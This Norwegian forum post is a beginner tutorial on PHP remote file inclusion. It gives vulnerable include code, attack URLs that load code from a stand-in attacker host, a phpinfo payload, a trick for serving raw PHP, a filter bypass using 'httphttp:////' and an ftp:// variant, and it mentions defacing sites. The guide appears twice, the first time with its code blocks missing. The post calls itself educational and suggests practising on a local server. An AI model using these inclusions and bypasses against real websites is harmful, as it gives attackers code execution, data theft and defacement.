Jeg har lurket lenge nok på freakforum og tenkte jeg skulle bidra litt. Skriver derfor en guide om hvordan remote file inclusion fungerer. Og hvordan en webapplikasjon kan kompromiseres om forholdene gjør det mulig.
Hva er RFI?
RFI er en metode som utnytter feil i php inkluderingsscript. Slike inkluderingsscript forekommer ofte på nettet, og det er slike som muliggjør urler som:
index.php?page=kontakt
index.php?page=info
index.php?page=login
index.php?page=forum OSV.
Metoden går ut på å lure phpscriptet til å inkludere kode som kontrolleres av angriperen. Resultatet av å kunne kjøre hvilken som helst php kode på en server, er at man får kontroll over nettstedet så og si. Hele databasen vil kunne bli lastet ned, alle filer på området vil kunne bli lest. Man kan gjøre alt det php kan gjøre.
Hvordan ser inkluderingsscript ut?
Et inkluderingsscript kan se slik ut:
Dette er den verste tenkelige måten å kode et inkluderingsscript på. Og tro det eller ei, men mange som begynner med php gjør slike feil. De vet rett og slett ikke bedre.
For å inkludere egen php kode på et nettsted som hoster et slikt script, trengs det bare å besøke følgende url:
index.php?page=http://angriper/kode_her.txt
Der kode_her.txt kan f.eks. inneholde:
phpinfo() er en php funksjon som printer ut masse info om php konfigurasjonen på serveren, og vil kunne hjelpe en angriper ytterligere.
Det fins annen php kode som kunne gjort mye mer skade. Som f.eks. en kode som redigerer index.php filen, og du vil kunne "deface" nettstedet.
Er det virkelig så enkelt?
Nei. En forutsetning for at dette skal fungere, er at php direktivet "allow_url_include" må være 1. D.v.s. det må være tillatt å laste innhold fra andre servere. Dette direktivet kom i php 5.2.0 så jeg tror nok det er flere servere RFI vil fungere på, enn det ikke vil fungere på.
I tillegg fins det mange varianter av inkluderingsscript, med forskjellige typer måter å inkludere på. Vi skal se på noen av disse.
La oss øke vanskelighetsgraden
Betrakt følgende inkluderingsscript:
Hvordan vil et slikt script kunne hackes? Jo ved å besøke følgende url:
index.php?page=http://angriper/kode_her
Fordi da vil http://angriper/kode_her.php bli inkludert. Men som du kanskje kan tenke deg til, så blir php koden eksevert på angriperens server, før den sendes som html til inkluderingsscript. En løsning er å bruke koden:
Eller bruke å .htaccess for å tvinge webserveren apache til å tolke kode_her.php som txt/html, slik at "<?php phpinfo(); ?>" blir inkludert.
Litt vanskeligere eksempel
Det fins mange merkelige måter å forhindre hacking på. Som f.eks. denne:
Her tenker utvikleren at nå blir ihvertfall ingen script fra andre servere inkludert. Men ofte fins det måter å "bypasse" beskyttelsesmekanismer på.
Kan du tenke deg til hvordan denne koden kan knekkes? For nybegynnere med programmering er ikke trikset så åpenbart. Svaret er skrevet med hvit skrift. Bruk 1 minutt på å tenke deg fram til det!
[COLOR="White"]index.php?page=httphttp:////angriper/kode_her[/COLOR]
Fikk du det til? Siden den farlige strengen "http://" blir erstattet med en tom tekststreng "" blir følgelig resten av urlen slått sammen, og den skadelige koden blir fortsatt inkludert.
En annen måte å omgå slike sperringer på er å bruke andre protokoller, som f.eks. ftp:
page=ftp://angriper/kode_her
Noen sluttord
Dette er ingen komplett guide. Det fins 10 ganger mer info om emnet, men dette decker basicsen.
Last ned wamp og installer en lokal server på din pc, og prøv å knekk ditt eget inkluderingsscript.
Ikke plag andre, vær snill og grei, forøvrig kan du gjøre hva du vil.
Hva er RFI?
RFI er en metode som utnytter feil i php inkluderingsscript. Slike inkluderingsscript forekommer ofte på nettet, og det er slike som muliggjør urler som:
index.php?page=kontakt
index.php?page=info
index.php?page=login
index.php?page=forum OSV.
Metoden går ut på å lure phpscriptet til å inkludere kode som kontrolleres av angriperen. Resultatet av å kunne kjøre hvilken som helst php kode på en server, er at man får kontroll over nettstedet så og si. Hele databasen vil kunne bli lastet ned, alle filer på området vil kunne bli lest. Man kan gjøre alt det php kan gjøre.
Hvordan ser inkluderingsscript ut?
Et inkluderingsscript kan se slik ut:
Kode
<?php $page = $_GET['page']; include($page);
For å inkludere egen php kode på et nettsted som hoster et slikt script, trengs det bare å besøke følgende url:
index.php?page=http://angriper/kode_her.txt
Der kode_her.txt kan f.eks. inneholde:
Kode
phpinfo();
Det fins annen php kode som kunne gjort mye mer skade. Som f.eks. en kode som redigerer index.php filen, og du vil kunne "deface" nettstedet.
Er det virkelig så enkelt?
Nei. En forutsetning for at dette skal fungere, er at php direktivet "allow_url_include" må være 1. D.v.s. det må være tillatt å laste innhold fra andre servere. Dette direktivet kom i php 5.2.0 så jeg tror nok det er flere servere RFI vil fungere på, enn det ikke vil fungere på.
I tillegg fins det mange varianter av inkluderingsscript, med forskjellige typer måter å inkludere på. Vi skal se på noen av disse.
La oss øke vanskelighetsgraden
Betrakt følgende inkluderingsscript:
Kode
<?php $page = $_GET['page']; include($page . ".php"); // legger på en filendelse
index.php?page=http://angriper/kode_her
Fordi da vil http://angriper/kode_her.php bli inkludert. Men som du kanskje kan tenke deg til, så blir php koden eksevert på angriperens server, før den sendes som html til inkluderingsscript. En løsning er å bruke koden:
Kode
<?php echo "<?php phpinfo(); ?>"; ?>
Litt vanskeligere eksempel
Det fins mange merkelige måter å forhindre hacking på. Som f.eks. denne:
Kode
<?php $page = str_replace("http://", "", $_GET['page']); include($page . ".php"); // legger på en filendelse ?>
Kan du tenke deg til hvordan denne koden kan knekkes? For nybegynnere med programmering er ikke trikset så åpenbart. Svaret er skrevet med hvit skrift. Bruk 1 minutt på å tenke deg fram til det!
[COLOR="White"]index.php?page=httphttp:////angriper/kode_her[/COLOR]
Fikk du det til? Siden den farlige strengen "http://" blir erstattet med en tom tekststreng "" blir følgelig resten av urlen slått sammen, og den skadelige koden blir fortsatt inkludert.
En annen måte å omgå slike sperringer på er å bruke andre protokoller, som f.eks. ftp:
page=ftp://angriper/kode_her
Noen sluttord
Dette er ingen komplett guide. Det fins 10 ganger mer info om emnet, men dette decker basicsen.
Last ned wamp og installer en lokal server på din pc, og prøv å knekk ditt eget inkluderingsscript.
Ikke plag andre, vær snill og grei, forøvrig kan du gjøre hva du vil.